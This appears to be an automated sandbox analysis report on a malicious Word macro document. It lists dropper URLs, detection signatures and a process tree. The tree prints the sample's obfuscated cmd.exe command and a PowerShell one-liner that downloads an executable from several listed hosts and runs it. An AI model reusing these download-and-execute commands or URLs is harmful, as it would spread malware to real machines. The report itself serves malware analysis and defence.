Analysis
- max time kernel
136s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 09:39
General
- Target 1035e389f1bf562ed879d13c1e2892b7_JaffaCakes118.doc
- Size 126KB
- Sample240503-lmnh8adf99
- SHA256 90d1d29ed1538b77095671b296b48bf14b867b732f1e558644e90de4c903cf84
Malware Config
Extracted
-
ps1
-
exe.dropper
https://malehequities.com/wp-includes/widgets/Wta9fQ
-
exe.dropper
http://komedhold.com/wp-content/EaW
-
exe.dropper
http://austincondoliving.com/TnZNdohh
-
exe.dropper
http://www.estelleappiah.com/wp-content/uploads/2OCShGJG
-
exe.dropper
http://www.peruwalkingtravel.com/LI
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1035e389f1bf562ed879d13c1e2892b7_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /V/C"^s^e^t ^2v^An=^9^]^z^ ^\^Y^k^ ^1^.^w^ ^|^=^y^ ^-^7^h ^[^3^K^ ^7^i^\ N^#^F ^P^`^_^ ^G^AC^ ^-^Mn^ ^#^z^H^ ^*^qR^ ^7^u^x^ ^BHC Q^j/^ ^5^I^K^ ^l^Q^e^}(^or^}^e^W^h^{C^}n^h^3^]/c^q^aV^t;^-^s^a^.n;cL^e^&^}T^-^'^;^d^G^[k^Eec^a^1^A^L^e^gS^[rc^a{^b^=^`N^;^}^B^?^G%^[N^J^i^{^7^M^.^`^s^$^3^W^h^ ^O^J^x^m^'^J^}^e^b^t(t^-^j^'^I^4^'^$^-^`^*^O^e^~(/^k^[^A^<^o(N^:v^?%^Bn^h^3^]IR^[8^;^=^ ^+)^0^l^P^G^\g^X^J^p^L^[^MN^K^M^$^p^6^s^ ^$R^q^,^L^:^U^m^,^9^7^f^Q%v^j^{^Qn^$^t^:^l(^-^*/^e^m'^6^l^0^+^Wi^u^2^>^F9^;^D^d^p^j^`^a^i^K^.^o^8^2;^l^J^.mn7^+^Y^w^`^G^D^o8^2^T^D^q^e/^.c^,^U^B^|^+^e^GR^=^i^On^yw^$L^a^=^{/^b%^yC^L^$r^_^S^UtN?^.^{s%/)vn^<r^l^L^>^M^[n^L^M^fro^$^b^#^U^ ^t^F^]n^[^g^I^i^2(\ ^3^>^p^m^G4^t^f^?R^B^j^w^|/^$^*r^l(^]^9^+^h^m%Rc%^<0^a^-^q%^e^f^#^hr^AV^&^o^P^xi^f^3^ ^1;^a^x%^'^B^5^=^e^X^m^[^x^bv^\^e^;^o^\^.^P^`^;^'^G^<^3^+^3^]%^I%^m^W^T^T^b^_^i^m^{^5^$@^X^W^+^x^$^|^'^0^[^#^\^>^}r^'^Y}^9^+^?q^*c^u^G^AiH^t^'^l^ ^l^X^b^g^3N^u)^@^U^p^|^Y0^:^x^,(v^8^]vn^@^J^f^e^;^tv^$^j^l^9^=^\^#^?^G^+^,^h^J^L^s^e^M^L^=^U^$^W^1B^;^Q^7^[^')^e^|^9^@^|q1c^t^G^3a^m^Q^'^-8^<^ ^t^-^P^=^$^]^D^ ;V^K^I^x^:^h^T^Z^H^u^i^>%^{^$^5^@^h;^@%^T)^6^w/^'pD^?^@^70C^'^;^#^-(^+^.^J^t^*^Fc^i^4^a^?^l^Wf^Z^p?^o^$^S^F^1d^.^6^H^F^'^'^1^=^Ic^bV^L^8^W^4/^=^6^H^mn)^q^o^O^}^;c^M^|^:^.^T^ ^-^l^{^:^qe^2^J^_v^]^,^2^a^+^m^Qr^{^4C^t^J^F^I^g^_^G^jnc^B^'^i^-^j^3k^\^G^m^l^G^t^+^a^9^e^2^wc^b^U^u^<^W^Or^i^O^S^eJe^O^p^T(d^.^Yr*^w^&^}^k^w^G^@^x^w^X^y^9/^O^*(/^s^~^l^:)^*^g^p%^=^\^t^.^2^Y^t^s^85^hC^.^-^@^2^oV^Gj^+^5^J)^I^0^G^~^o^?^h^K^k^J^S^.^`RC^`^>R^O)^4^L^2,^7^S/^_c^Ts^e^#8^d^P^X^w^a^h5^D^o^}^{^_^l^_^3^y^p^*^,^x^u=^1^D/^o^U^~^t^[^K^{n^p^[^x^e^>^jP^t^O^Z*n^g^5^{^o^`^T^=c^G^q^e^-^Ov^Lp^DU^9^w^Z^oJ/^y^J^6^mp^{^>^o^Gv^Jc^L^D^s^.)^:^u^h^?^-^~^a^X^-^?^i^+^7^;^p^H/W^p^Z^k^$^a^M^5^\^e^~V^X^l^]^&g^lk^eVeC^u^H^t^F^3^6^s^K^40^e^*^a^P^.^6V^[^w^p^|^P^w^q^j^P^w%^P//^@dV/^p^2^ ^:^`^.^ ^p^i^m^L^t^0v^i^tnW/^h#^T^E^@^H^#^+^hg^i0^h^:c^E^o^J^q^~^d^E^]^yN^-^s^>^ZR^s^an^-^a^K^T^Y^mc/^S^p^l^mkA^7^o^t^k^ic^,^9^$^.^?^q^7^g^i^a^kn^9^`^a^i^F^x^`v^+^`^-^i^@^drl^i^-^<^o^\^-^Q^d^Y^A^xn^@^Zw^o^l^]^}c^-^.Znvj^1^i^m^Y^[^t^t^`^&^s^_N^y^u%a^T^au^Q^Z/^S^0^</^I^[^a^:^Q^ae^p^@^Q^+^tr^}^i^t^Y^8^{^h^3^s^-^@^;^0^$^WVR^Ya^O^H^g^E^BX^}/^>^;\^tb^J/n^w^X^t^e^@^b^4^t^T^y^Zn^&^q^>^o^MD^dc%^<^Y^-)^~^4^p^0^+^8^w^1^YK/^[^Jc^mn^7c^o^a^7^Qc^TR^=^.v^$^&^d^]^@^\^l^G^?^{^o^2^w^T^hP^t^3^d^+^i^de^X^x^1^m^t^&^#^o^l^u^]^k^~^:^}/^Y^l^F/^j^9^u^:^H^s6^p^ol^]^t^Yr^j^t^?^i^j^h^l^QN^@^$)cQ^o^zr^f(^U^5^9^j^}^a^a^{^T^gtW3;^W^L^K^s/^i^F^\s^8^ p^tv^F^o^e^p^O^x^g^T^X^A^dN^u^X^i^7/^,^w^}c^:/^ ^T^ts^Y^sre^*^{W^dR^Z^_^u^h^3^e^l^b^$^Bc^w(^En^f^J^p^i^&^{y^-^4^$^g^p^T^p)^w^I/^3/^l_^\mv^F^Lo^|^@^;c^_^a^+.^2^[^J^s^5^X^I^e^F^z^,^iA^W^<^t^g^_^=^i^;^7^H^u^O)F^q^q1^.^e^Q^S-^hN^Y^D^e^l^A^|^l^p^@^sa^.^:(^m^Z^A^M//^m^?/^j^G^Y^:^O^-^0^sc^o^Y^pr(^`^t^x^ ^D^t/v^l^hN^H^[^'^6^5^|^=^_}^Jr^3^a^&^M^ ^S^8^M^#^~^Y^$^|^g^f^;^{^[^>^t^\)^>n^G^|^+^e^:^xN^icQ^+^l^WN^ZC^bcv^b{^X^&^e^>^H^J^W%^Z^-.^}9^d^t^m^Z^Mep^6rN^z^XH^ ^F^A^'^tr^?^Dc^j^#^K^e^H^~^T^j^y^m^4^b^}^DV^o^8^p^i^-^Z^;^'^wU^b^d^e^]^~^In^]^:)^=^g^U^H^BNc^B^G^8^@^h^O^,%l^$^t^ ^e^ ^B^>^`^l^S^[^h^l^J6^h^e^`^$u^h^GV^<s^A^x^Gr^>^9$^e/^*(^w^'^]^4^o),^M^p&&^f^or /^L %^b ^in (^17^1^9,^-^4^,^3)^d^o ^s^e^t ^3^2=!^3^2!!^2v^An:~%^b,1!&&^i^f %^b ^e^q^u ^3 ca^l^l %^3^2:~^-^4^3^0%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $OGB=new-object Net.WebClient;$MMr='https://malehequities.com/wp-includes/widgets/Wta9fQ@http://komedhold.com/wp-content/EaW@http://austincondoliving.com/TnZNdohh@http://www.estelleappiah.com/wp-content/uploads/2OCShGJG@http://www.peruwalkingtravel.com/LI'.Split('@');$iTI = '319';$MJG=$env:public+'\'+$iTI+'.exe';foreach($jfm in $MMr){try{$OGB.DownloadFile($jfm, $MJG);Invoke-Item $MJG;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xant4hrq.31k.ps1
TM02851227[[fn=sist02]].xsl
319.exe
memory/2916-16-0x00007FFE9F9B0000-0x00007FFE9F9C0000-memory.dmp
memory/2916-3-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/2916-5-0x00007FFEE1DCD000-0x00007FFEE1DCE000-memory.dmp
memory/2916-8-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-9-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-7-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-6-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-13-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-14-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-12-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-15-0x00007FFE9F9B0000-0x00007FFE9F9C0000-memory.dmp
memory/2916-11-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-10-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-0-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/2916-1-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/2916-33-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-27-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-568-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-4-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/2916-32-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-2-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/2916-542-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-543-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-544-0x00007FFEE1D30000-0x00007FFEE1F25000-memory.dmp
memory/2916-565-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/2916-566-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/2916-564-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/2916-567-0x00007FFEA1DB0000-0x00007FFEA1DC0000-memory.dmp
memory/3880-42-0x0000021A37C20000-0x0000021A37C42000-memory.dmp